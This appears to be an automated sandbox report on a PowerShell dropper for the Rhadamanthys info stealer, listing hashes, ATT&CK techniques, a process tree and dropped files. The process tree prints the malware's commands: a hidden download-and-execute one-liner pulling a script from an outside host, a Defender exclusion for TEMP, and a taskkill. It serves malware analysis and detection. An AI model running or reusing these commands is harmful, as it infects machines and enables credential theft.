rhadamanthys | 47dc344e945a0170c1f69caf1cf5d63bca22239e17f7df1a01e6235484fa0593

Analysis

max time kernel
144s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
06-02-2025 16:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

runner.ps1
Size

276KB
MD5

e255c745717b00f238c5b41aa2196153
SHA1

4aea97c6ecbd3de68791cc2591c930965962d6e7
SHA256

47dc344e945a0170c1f69caf1cf5d63bca22239e17f7df1a01e6235484fa0593
SHA512

7e155e523a895bf2bd97ba41316c674a828948c3d6ee7f49c2b2342188d76c53a29bef819a4ec3533106f841b021153ec9f18cfd2f2db6fd01d1d15d06e5468d
SSDEEP

1536:iQEjSvrxQrgoc7I5eFgk7OQdjdlYG76p/zIOO5Ys:O2vtQrO7I5eFgk7OQd0g6p/NO5Ys

Score

10^/10

rhadamanthys discovery execution stealer

Malware Config

Signatures

Detects Rhadamanthys payload 3 IoCs

resource	yara_rule
behavioral2/memory/404-145-0x0000000000660000-0x00000000006E3000-memory.dmp	Rhadamanthys_v8
behavioral2/memory/404-148-0x0000000000660000-0x00000000006E3000-memory.dmp	Rhadamanthys_v8
behavioral2/memory/404-159-0x0000000000660000-0x00000000006E3000-memory.dmp	Rhadamanthys_v8

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 404 created 2956	404	explorer.exe	49

Blocklisted process makes network request 1 IoCs

flow	pid	Process
28	4120	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe
4120	powershell.exe
860	powershell.exe
1344	powershell.exe
4584	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4308	transport.exe
956	transport.exe
2368	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe

Loads dropped DLL 5 IoCs

pid	Process
956	transport.exe
2368	WinX_DVD_Ripper_Platinum.exe
2368	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1124 set thread context of 4256	1124	WinX_DVD_Ripper_Platinum.exe	112

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinX_DVD_Ripper_Platinum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinX_DVD_Ripper_Platinum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4080	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Software\Microsoft\Internet Explorer\IESettingSync	mmc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	mmc.exe
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	mmc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	mmc.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4584	powershell.exe
4584	powershell.exe
1344	powershell.exe
860	powershell.exe
1344	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
860	powershell.exe
860	powershell.exe
2368	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe
1124	WinX_DVD_Ripper_Platinum.exe
4256	cmd.exe
4256	cmd.exe
404	explorer.exe
404	explorer.exe
404	explorer.exe
404	explorer.exe
2688	fontdrvhost.exe
2688	fontdrvhost.exe
2688	fontdrvhost.exe
2688	fontdrvhost.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1124	WinX_DVD_Ripper_Platinum.exe
4256	cmd.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	powershell.exe
Token: 33	1904	mmc.exe
Token: SeIncBasePriorityPrivilege	1904	mmc.exe
Token: 33	1904	mmc.exe
Token: SeIncBasePriorityPrivilege	1904	mmc.exe
Token: 33	1904	mmc.exe
Token: SeIncBasePriorityPrivilege	1904	mmc.exe
Token: 33	1904	mmc.exe
Token: SeIncBasePriorityPrivilege	1904	mmc.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4080	taskkill.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1904	mmc.exe
1904	mmc.exe
1904	mmc.exe
1904	mmc.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 1904	4584	powershell.exe	87
PID 4584 wrote to memory of 1904	4584	powershell.exe	87
PID 1904 wrote to memory of 1344	1904	mmc.exe	89
PID 1904 wrote to memory of 1344	1904	mmc.exe	89
PID 1904 wrote to memory of 4120	1904	mmc.exe	91
PID 1904 wrote to memory of 4120	1904	mmc.exe	91
PID 1904 wrote to memory of 860	1904	mmc.exe	93
PID 1904 wrote to memory of 860	1904	mmc.exe	93
PID 860 wrote to memory of 4080	860	powershell.exe	95
PID 860 wrote to memory of 4080	860	powershell.exe	95
PID 4120 wrote to memory of 4308	4120	powershell.exe	104
PID 4120 wrote to memory of 4308	4120	powershell.exe	104
PID 4308 wrote to memory of 956	4308	transport.exe	105
PID 4308 wrote to memory of 956	4308	transport.exe	105
PID 956 wrote to memory of 2368	956	transport.exe	106
PID 956 wrote to memory of 2368	956	transport.exe	106
PID 956 wrote to memory of 2368	956	transport.exe	106
PID 2368 wrote to memory of 1124	2368	WinX_DVD_Ripper_Platinum.exe	110
PID 2368 wrote to memory of 1124	2368	WinX_DVD_Ripper_Platinum.exe	110
PID 2368 wrote to memory of 1124	2368	WinX_DVD_Ripper_Platinum.exe	110
PID 1124 wrote to memory of 4256	1124	WinX_DVD_Ripper_Platinum.exe	112
PID 1124 wrote to memory of 4256	1124	WinX_DVD_Ripper_Platinum.exe	112
PID 1124 wrote to memory of 4256	1124	WinX_DVD_Ripper_Platinum.exe	112
PID 1124 wrote to memory of 4256	1124	WinX_DVD_Ripper_Platinum.exe	112
PID 4256 wrote to memory of 404	4256	cmd.exe	117
PID 4256 wrote to memory of 404	4256	cmd.exe	117
PID 4256 wrote to memory of 404	4256	cmd.exe	117
PID 4256 wrote to memory of 404	4256	cmd.exe	117
PID 404 wrote to memory of 2688	404	explorer.exe	119
PID 404 wrote to memory of 2688	404	explorer.exe	119
PID 404 wrote to memory of 2688	404	explorer.exe	119
PID 404 wrote to memory of 2688	404	explorer.exe	119
PID 404 wrote to memory of 2688	404	explorer.exe	119

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2956
- C:\Windows\SysWOW64\fontdrvhost.exe
  "C:\Windows\System32\fontdrvhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\runner.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\system32\mmc.exe
  "C:\Windows\system32\mmc.exe" "C:\Windows \System32\WmiMgmt.msc"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command & {Add-MpPreference -ExclusionPath $env:TEMP}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-RestMethod -Uri 'https://global-protect.us/encrypthub/ram/ram.ps1' | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4120
  - - C:\Users\Admin\AppData\Local\Temp\transport.exe
      "C:\Users\Admin\AppData\Local\Temp\transport.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4308
    - - C:\Windows\TEMP\{1C7FC75D-D52D-4DFA-ADCF-60255A761E00}\.cr\transport.exe
        
        "C:\Windows\TEMP\{1C7FC75D-D52D-4DFA-ADCF-60255A761E00}\.cr\transport.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\transport.exe" -burn.filehandle.attached=636 -burn.filehandle.self=632
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:956
      - C:\Windows\TEMP\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\WinX_DVD_Ripper_Platinum.exe
        
        C:\Windows\TEMP\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\WinX_DVD_Ripper_Platinum.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2368
        
        C:\Users\Admin\AppData\Roaming\Dn_explore_test\WinX_DVD_Ripper_Platinum.exe
        
        C:\Users\Admin\AppData\Roaming\Dn_explore_test\WinX_DVD_Ripper_Platinum.exe
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1124
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4256
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        9⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command & {taskkill /f /im mmc.exe}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\system32\taskkill.exe
      "C:\Windows\system32\taskkill.exe" /f /im mmc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3003448ee73abf14d5c8011a37c40600

SHA1
b88e9cdbae2e27a25f0858fc0b6d79533fb160d8

SHA256
ae448d99735879ecee1dc3088c8f7553ebff461b96172d8f3cb5ff2fa2a12d4a

SHA512
0fe52614eec6d75a265ae380aaa1eb153bc35a1baae4d118637798575169d9dba5ad751efab5d7f5dbe9764bfb96e9ae76577a3487429a3383b5b08d5402fe3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9399ddf7936e2c8c37469cb992f13cac

SHA1
6059d9461ba5d18dc021bc28763cfa19ae229ba8

SHA256
238533bba2b42ec24fd9eaacda5f3129d38612ddbce720111f7ed0d2ce0efd3f

SHA512
c1ca5ced8fd9f80ceb87427fcf43f06a752ca8a53385b4d9fa3e5ad111ac4c260cd7f45cf613da23dd716f091895fcee59e8a115515897dfa19ff01435cacf9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qiqv5nzj.mc1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aa17b00a

Filesize
1.1MB

MD5
b8571e1e45a6039d3b20b8f903a69bb9

SHA1
9cff95c91e7ae6bc16d88e409f4f22970bc2f165

SHA256
9fb4c8657c616dfa5f7651b6d5522408f50ac232e79edbb0987cb6f409ee93dd

SHA512
2cb98f512042a660c2609c739f937dbf8f27920b87a84a1c34aa7d8a9a3d103a02941e43c53dfd04728930a67b44745f9f6acf9c83cd0b2f350872343c77d8e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\transport.exe

Filesize
6.8MB

MD5
72ec64d0bc0b31f8842c9b5d488c11e7

SHA1
85d81edeac18c67d6c8b73ab628347586a5039ad

SHA256
019e368cdfe9e71959dfc32917463653dfa4c35c129f1feb1fe492187d46a22a

SHA512
e2d42b2f43916cd1191994b9f21b5961b965b23ac0ae87f679bcb13cf97f030e656f4e8eaec493dbcd54b9702e062eac02c761d14557bf20d8e00e02fcb993e0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
24d624ebe1b40bcf979c99cac2eba72a

SHA1
779703ebf277516b595662eab920b3dc271131e2

SHA256
e84974fc4de4104aba1c5f3156ba58934d9a66dc7f6641f22e12dfc93162e8c5

SHA512
7a2b3470c172ccbdc135935147dcf642bc01fecae26831e828a389d4afcad418491415e76259b15707375f3ff09b178e1fba444c689877b19e89d30298704e38

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
7848377ba9b5c7b57195f91f123c2e96

SHA1
d17bbb81cbe9a5733d139630342e14aae0622861

SHA256
9b71e9581800e249e2269f8891cab0a4bb228d079de214c71df3b1633d2848db

SHA512
2c251352cd183fb664eacb2fd89d00cef6cb505fb02065ac264bd8d6dabf7050a9af6c2ad672848c127e0d558ad772c8c26b999c5ff8ac5a8099ea75486fe8bc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9Q6PFQ9ZJEU4BURP0C5D.temp

Filesize
6KB

MD5
21819ad7a479300ee347bc93e717f9f1

SHA1
27f7e4dc182e54c83296be4cced9db1a2e16c285

SHA256
23af90a0cab5993b3a6654140c408381abc266489c9c6f70ee08d95bc0ad7396

SHA512
07265d86da6537014e7da6f0f65ebd6e5ec713fe547760448983e8f30eb5d14466f421e15860dcd8f5ec2f113aad65d21c2511d08654940bf607539fad9b82c1

Download Submit
C:\Windows \System32\WmiMgmt.msc

Filesize
141KB

MD5
e0addce97ee521c9ac4f53ee17a05bd5

SHA1
2f8dd03b0433fa5d511ab80546a95037a1eb178d

SHA256
e18a549b10943645361372ebb7871fd23a0608a84ae0405ff1be946ab8bdc1ee

SHA512
d396b8b2d86d7331cac2e183b869224905a3ff7cf33300cd60dd8e5e55bf31d6170322624ee3ae18ff41d647c1e65177252654a64ff5fe5c74778f17e6ecfcd4

Download Submit
C:\Windows \System32\en-US\WmiMgmt.msc

Filesize
65KB

MD5
386e3a5a3f3a3815a1a8d5411c1dbb4a

SHA1
b88571fa0fb81d8440a8bd919646020d88908520

SHA256
4c0e219fb4e6046f58050e93d9c34132df55cb5cf7a263262e0497129f09d8e8

SHA512
e5ce38d9eb11cc0d0bf66062ba457c8167c9f77b02e58bc14183db04756d9898fe93fde524ee673f8c71ce8948daa529a723a724d4f080c69a4e221e78e72b6a

Download Submit
C:\Windows\TEMP\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\LIBEAY32.DLL

Filesize
1.0MB

MD5
73a8cdc0bb5b95c1ba6deb39d71f0349

SHA1
bef1bb7843d0e424d55203bfa6fa3f40eedc9379

SHA256
639980c48dd692e9ff3144f3d932aa07e501f12197d587ec47eb5ec8f6b7696a

SHA512
7f81a44da7d6849f78d9eb6610831fc1c2aa6a76f986bd6d1f11ac79565189497c16ac76902750d101c97082915c6db267df4260eb48a0de1d88744a75e14722

Download Submit
C:\Windows\TEMP\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\restart.msg

Filesize
863KB

MD5
d1f6010adeeeb153fcbf492a2013176d

SHA1
990b47b4948badd2b9499f2ca2bc065a639a6bdd

SHA256
4647a4cbd1b866fa7425682aefdd5236812ce099e37d5f21a973eaea694182da

SHA512
4bc78c048a8a70beeb096bcf7b93410f67752df9cb1029279b689dd119c8feaf40cda0634f5d259b5b7ec3aac4a647451e51de47312a94b200c4d99c4a42d70c

Download Submit
C:\Windows\TEMP\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\transform.asp

Filesize
45KB

MD5
63afa5cdf59535a6ee3a44c29972f740

SHA1
90d721394d8c683078a146253f8e903767d6cae3

SHA256
e63d72eb447dba2e5110fe4cae4483f6395272ce26b79638ced29116037facef

SHA512
1d6c895aa0d3b02cf5e11ee50a8b9d57b6ef796a2adca5f092cf7f65a4d7cfe380c573e628d72fb59cbb304c5bf4620b1cb951d27969af3bf98e58034ce7cfd2

Download Submit
C:\Windows\Temp\{1C7FC75D-D52D-4DFA-ADCF-60255A761E00}\.cr\transport.exe

Filesize
6.8MB

MD5
93860d60d2df0f9da732e45513e7ba5d

SHA1
ce6acbd9d61da9d988fb86a01daebecd0291d005

SHA256
9366725e71cf2999398b7b257286637b9fcb11d8b49a4afb96649921dfb31b1b

SHA512
e62d5ff6e85e053b22d4f4eb36d3da3336bf38d4bc5c95d8f800f7a81afad8a472075347756d1beb16e523b5a657a65379c01b8ef5b1143025c7a2e57e2288b3

Download Submit
C:\Windows\Temp\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\Serum.dll

Filesize
130KB

MD5
20aa36c2ce87d64cb58e7e32f0546fb1

SHA1
d65d8b30c3343c4f22d2765325f7e518ba5cec2e

SHA256
55285f72c479667b7e4c395ec503f81e5ef560d224a0ffc5347dcb44b2bcd394

SHA512
5ab90561dc204402bfb4e7a7931f68bcbe73b2bae3e2999f8421406b0edf4225c1b1cebc8d888b59d0c936c71fbe4da99a3f7366c48196d578dcfe65051a5514

Download Submit
C:\Windows\Temp\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\WinX_DVD_Ripper_Platinum.exe

Filesize
15.1MB

MD5
3c64548b4aedbd79411d69029bdae67f

SHA1
c27d42f5984ec27f63db147dfec7828c1c877990

SHA256
1f7a9cf0f11e5d30538e7162aa69c9216839dda3928b25368434f7e6e96ea0fb

SHA512
f61f2de84b61a6f8dfa943435d1ad0230df5c71081a5e642a95c35ce5b0ac7849d903ffc2985ba13cdbd457615150a3ed88d6bde2a9744d938ecb8f80305c842

Download Submit
C:\Windows\Temp\{BC6AB3F2-9F24-4E7D-9B5D-DF46EEF90567}\.ba\profile.dll

Filesize
241KB

MD5
a957f7e18d5493a99d151ff504214d09

SHA1
cfdb6cb20382b68888b0efd8e761649d60c0a7b5

SHA256
3cb6f7bbefac6d1fa487ddaec82d4565cf2f564ec5f14eca1cbd5c987735ae9a

SHA512
80d3f142a637545255eefb73a20e278c0fdaf832b5a221e4588c4469ac8177f166d176262c86c7f8c90e5293992c2566b35703a2333507f4f3756f375d620bbe

Download Submit
memory/404-154-0x0000000075510000-0x0000000075725000-memory.dmp

Filesize
2.1MB

Download
memory/404-151-0x0000000003050000-0x0000000003450000-memory.dmp

Filesize
4.0MB

Download
memory/404-150-0x0000000003050000-0x0000000003450000-memory.dmp

Filesize
4.0MB

Download
memory/404-148-0x0000000000660000-0x00000000006E3000-memory.dmp

Filesize
524KB

Download
memory/404-147-0x00007FFDA2C10000-0x00007FFDA2E05000-memory.dmp

Filesize
2.0MB

Download
memory/404-145-0x0000000000660000-0x00000000006E3000-memory.dmp

Filesize
524KB

Download
memory/404-159-0x0000000000660000-0x00000000006E3000-memory.dmp

Filesize
524KB

Download
memory/1124-130-0x0000000074E20000-0x0000000074F9B000-memory.dmp

Filesize
1.5MB

Download
memory/1124-132-0x0000000000400000-0x0000000001335000-memory.dmp

Filesize
15.2MB

Download
memory/1124-131-0x00007FFDA2C10000-0x00007FFDA2E05000-memory.dmp

Filesize
2.0MB

Download
memory/1124-138-0x0000000074E20000-0x0000000074F9B000-memory.dmp

Filesize
1.5MB

Download
memory/2368-113-0x00007FFDA2C10000-0x00007FFDA2E05000-memory.dmp

Filesize
2.0MB

Download
memory/2368-122-0x0000000000400000-0x0000000001335000-memory.dmp

Filesize
15.2MB

Download
memory/2368-112-0x0000000074E20000-0x0000000074F9B000-memory.dmp

Filesize
1.5MB

Download
memory/2688-157-0x0000000000C30000-0x0000000001030000-memory.dmp

Filesize
4.0MB

Download
memory/2688-155-0x0000000000780000-0x000000000078A000-memory.dmp

Filesize
40KB

Download
memory/2688-162-0x0000000075510000-0x0000000075725000-memory.dmp

Filesize
2.1MB

Download
memory/2688-160-0x00007FFDA2C10000-0x00007FFDA2E05000-memory.dmp

Filesize
2.0MB

Download
memory/4120-75-0x0000027D74DE0000-0x0000027D74FA2000-memory.dmp

Filesize
1.8MB

Download
memory/4256-143-0x0000000074E20000-0x0000000074F9B000-memory.dmp

Filesize
1.5MB

Download
memory/4256-142-0x00007FFDA2C10000-0x00007FFDA2E05000-memory.dmp

Filesize
2.0MB

Download
memory/4584-0-0x00007FFD84D23000-0x00007FFD84D25000-memory.dmp

Filesize
8KB

Download
memory/4584-11-0x00007FFD84D20000-0x00007FFD857E1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-135-0x00007FFD84D20000-0x00007FFD857E1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-12-0x00007FFD84D20000-0x00007FFD857E1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-77-0x00007FFD84D23000-0x00007FFD84D25000-memory.dmp

Filesize
8KB

Download
memory/4584-76-0x00007FFD84D20000-0x00007FFD857E1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-1-0x0000029B14480000-0x0000029B144A2000-memory.dmp

Filesize
136KB

Download